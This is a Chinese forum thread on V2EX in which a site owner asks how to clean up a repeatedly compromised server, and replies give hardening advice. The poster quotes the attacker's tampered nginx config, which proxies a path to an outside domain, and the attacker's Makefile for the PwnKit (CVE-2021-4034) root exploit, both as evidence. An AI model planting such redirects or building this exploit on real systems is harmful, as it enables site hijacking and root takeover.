V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
ccnoobs
V2EX  ›  信息安全

网站挂马 如何根治?

  •  
  •   ccnoobs · 20 天前 · 3156 次点击

    疑问

    自己的网站又挂马了,看了登录记录没有问题 ssh 端口也是只有我的 ip 才可以访问,还有什么工具可以直接修改 ng 的配置文件吗,没有排查的思绪了

    配置详情

    server {
      
      listen 80 default;
      server_name _;
    location ^~ /downloadsss
    {
        proxy_pass http://qwertyu.shijiediyi888.top;
        proxy_set_header Host qwertyu.shijiediyi888.top;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header REMOTE-HOST $host;
        proxy_http_version 1.1;
        # proxy_hide_header Upgrade;
    
        add_header X-Cache $upstream_cache_status;
    
        #Set Nginx Cache
        
        
        set $static_fileMJrCAYTq 0;
        if ( $uri ~* "\.(gif|png|jpg|css|js|woff|woff2)$" )
        {
         set $static_fileMJrCAYTq 1;
         expires 1m;
            }
        if ( $static_fileMJrCAYTq = 0 )
        {
        add_header Cache-Control no-cache;
        }
    }
    }
    第 1 条附言  ·  20 天前
    感谢大家
    上面的配置内容是被串改后的配置 将指定后缀转到他的网站上去了
    排查过系统日志和 WEBSHELL 应该不是 ssh 过来改的 我感觉像是定时任务跑的脚本改的
    第 2 条附言  ·  20 天前
    找到挂马文件
    CFLAGS=-Wall
    TRUE=$(shell which true)

    .PHONY: all
    all: pwnkit.so cve-2021-4034 gconv-modules gconvpath

    .PHONY: clean
    clean:
    rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
    make -C dry-run clean

    gconv-modules:
    echo "module UTF-8// PWNKIT// pwnkit 1" > $@

    .PHONY: gconvpath
    gconvpath:
    mkdir -p GCONV_PATH=.
    cp -f $(TRUE) GCONV_PATH=./pwnkit.so:.

    pwnkit.so: pwnkit.c
    $(CC) $(CFLAGS) --shared -fPIC -o $@ $<

    .PHONY: dry-run
    dry-run:
    make -C dry-run

    如果大家感兴趣 留言邮箱 发送一下挂马附件
    26 条回复    2024-05-30 09:21:26 +08:00
    dode
        1
    dode  
       20 天前
    你这服务器只挂个 nginx 代理就被黑了?
    服务器关闭 ssh 密码登录,只使用密钥登录
    既然服务器现在不安全了,就格式化重新部署一下,关闭密码登录
    ccnoobs
        2
    ccnoobs  
    OP
       20 天前
    @dode 有网站自用的,直接改我 ng 配置 跳转别的域名了 ssh 只有一个 ip 地址能访问
    carlinglm
        3
    carlinglm  
       20 天前
    去看下系统日志吧,看下有什么可疑的 ip 来访问过,直接改你 nginx 的配置文件不太现实的,除非有啥别的漏洞
    dpx
        4
    dpx  
       20 天前
    需要经常修改文件吗?以前我用 WIN 的时候是把相关的配置和网页文件改成只读权限,可以参考下,如果还可以挂,说明对方已经有管理员权限了,往系统方面排查,直到找到对应漏洞。不想麻烦就系统重新部署,但很大机会还有相同漏洞。
    akin520
        5
    akin520  
       20 天前
    先看看你代码是不是有问题,挂马一般都会有 WEBSHELL
    BeforeTooLate
        6
    BeforeTooLate  
       20 天前
    就问是不是只有密钥登录而不是密码登录?
    ccnoobs
        7
    ccnoobs  
    OP
       20 天前
    @BeforeTooLate 直接密码登录
    dode
        8
    dode  
       20 天前
    使用 docker 部署你的网站,定期备份数据,限制特殊目录的写权限
    davehandong
        9
    davehandong  
       20 天前
    先想一下有没有可能操作系统或者服务本身是有问题的。
    然后 nmap 之类的工具看一下哪些端口是可访问的,把没必要的都关了
    ssh 直接登录操作的可能性我觉得不大,但是限制一下不能用密码登录也不费事,还有就是默认端口号可以改最好也改一下。
    你这个 nginxs 配置文件只有一个反向代理,面儿上看我觉得是没啥问题的吧
    可以看一下你的 nginx 版本号,用了哪个 module ,然后看一下这个版本有没有一些 CVE ,最好升到最新的。
    也可以再看一下 accesslog.
    其它的就得看具体还有啥服务了
    davehandong
        10
    davehandong  
       20 天前
    再补充一下,nginx 服务启动不要用 root 帐户
    lambdaq
        11
    lambdaq  
       20 天前
    这题我会,nginx 启动之后把 nginx.conf 和 nginx 二进制都删了。
    patrickyoung
        12
    patrickyoung  
       20 天前 via Android
    需要详细审计代码和系统配置
    7lQM1uTy635LOmbu
        13
    7lQM1uTy635LOmbu  
       20 天前
    @ccnoobs 你是不是第一次被挂马后没有重装系统?第一次进去可能由于 ssh 弱密码,但如果没有重装,很可能对方第一次已经留了后门。
    liyunyang
        14
    liyunyang  
       20 天前
    是 php 吗?
    MrUser
        15
    MrUser  
       20 天前
    最小权限原则,不要相信某些教程的话:一上来就 777 ,看着就危险。
    要这样:
    1. 可执行的文件或目录不可写;
    2. 可写的文件或目录不可被执行;

    另,检查 SELinux 规则不是不是遗漏了什么
    busier
        16
    busier  
       20 天前
    @davehandong “再补充一下,nginx 服务启动不要用 root 帐户”
    nginx 服务启动运行的是 master 进程,用 root 没有问题!
    master 运行的 worker 子进程才是不应该用 root 的进程。
    yarawen
        17
    yarawen  
       20 天前
    这个贴 https://v2ex.com/t/979950 你看下有木有用
    ccnoobs
        18
    ccnoobs  
    OP
       20 天前
    @nevadax 第一次挂马后没重装 应该是留后门了
    ccnoobs
        19
    ccnoobs  
    OP
       20 天前
    @yarawen 感谢 应该不是这个问题 我这个现象就是修改 ng 配置文件 服务是 java 的
    ccnoobs
        20
    ccnoobs  
    OP
       20 天前
    @liyunyang 是 java 的
    ccnoobs
        21
    ccnoobs  
    OP
       20 天前
    排查 nginx 命令日志时发现

    当时挂马修改 ng 时相关执行日志

    May 28 22:53:35 instance-0b1899zb root[29772]: [euid=root]::[/tmp]2024-05-28 22:53:35 root ps aux | grep nginx
    May 28 23:02:09 instance-0b1899zb root[30483]: [euid=root]::[/tmp]2024-05-28 23:02:09 root ps aux | grep nginx
    May 28 23:02:14 instance-0b1899zb root[30500]: [euid=root]::[/tmp]2024-05-28 23:02:14 root /usr/local/nginx/sbin/nginx -s reload
    May 28 23:03:28 instance-0b1899zb root[30604]: [euid=root]::[/tmp]2024-05-28 23:03:27 root /usr/local/nginx/sbin/nginx -s reload


    我这边正常的操作日志是
    May 28 23:45:16 instance-0b1899zb root[1560]: [euid=root]:root pts/1 2024-05-28 23:45 (*.151.207.139):[/usr/local/nginx/conf]2024-05-28 23:45:16 root cd /usr/local/nginx/conf/

    大家知道为啥会缺少那么多信息吗
    wheat0r
        22
    wheat0r  
       20 天前
    @ccnoobs #21 你猜 root 能不能编辑日志文件
    WoneFrank
        23
    WoneFrank  
       20 天前
    cve-2021-4034 这个是 linux 下 pkexec 逻辑提权的,直接能提到 root 权限。
    你这个应该是自己跑的业务有漏洞被打了,也就是被人写了 webshell 或者直接利用 java 命令执行了。
    root 被拿了多半会有各种计划任务、rootkit 之类的后门操作。
    如果源码和数据有备份建议先把漏洞修了,然后重开一台新服务器再把业务部上去。
    ccnoobs
        24
    ccnoobs  
    OP
       20 天前
    @WoneFrank 说的对 准备换个机器了
    gray0
        25
    gray0  
       19 天前
    新服务器的安全小思路:

    1.不应直接以 root 身份登录,新建用户,避免任何容易猜到的内容,例如 admin
    2.禁用 root 密码/ssh 登录
    3.更改默认的 umask 大多数 Linux 发行版默认 umask 为 022 ,这为每个用户提供了读取权限 修改为 027
    sudo bash -c 'echo -e "\numask 077" >> /etc/profile'
    4. SSH 安全
    SSH 默认从从 ~/.ssh/authorized_keys 读取授权密钥,改为从新建的用户那里读取
    # 修改/etc/ssh/sshd_config
    AuthorizedKeysFile /etc/ssh/authorized_keys/{user}
    gray0
        26
    gray0  
       19 天前
    @gray0 umask 077
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2888 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 13:29 · PVG 21:29 · LAX 06:29 · JFK 09:29
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.